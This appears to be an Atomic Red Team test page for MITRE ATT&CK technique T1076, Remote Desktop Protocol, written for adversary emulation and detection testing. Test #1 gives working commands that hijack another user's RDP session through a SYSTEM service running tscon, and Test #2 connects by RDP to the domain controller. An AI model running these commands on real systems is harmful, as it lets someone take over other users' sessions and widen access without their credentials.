T1076.md

T1076 - Remote Desktop Protocol

Description from ATT&CK

Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS.

Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware)

Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\windows\system32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf)

Atomic Tests

• Atomic Test #1 - RDP

• Atomic Test #2 - RDPto-DomainController

Atomic Test #1 - RDP

RDP hijacking](https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6) - how to hijack RDS and RemoteApp sessions transparently to move through an organization

Supported Platforms: Windows

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

query user
sc.exe create sesshijack binpath= "cmd.exe /k tscon 1337 /dest:rdp-tcp#55"
net start sesshijack

Cleanup Commands:

sc.exe delete sesshijack

Atomic Test #2 - RDPto-DomainController

Attempt an RDP session via "Connect-RDP" to a system. Default RDPs to (%logonserver%) as the current user

Supported Platforms: Windows

Inputs:

Name	Description	Type	Default Value
logonserver	ComputerName argument default %logonserver%	String	$ENV:logonserver.TrimStart("")
username	Username argument default %USERDOMAIN%%username%	String	$Env:USERDOMAIN$ENV:USERNAME

Attack Commands: Run with powershell!

Connect-RDP -ComputerName #{logonserver} -User #{username}

Dependencies: Run with powershell!

Description: Computer must be domain joined

Check Prereq Commands:

if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) { exit 0} else { exit 1} 

Get Prereq Commands:

Write-Host Joining this computer to a domain must be done manually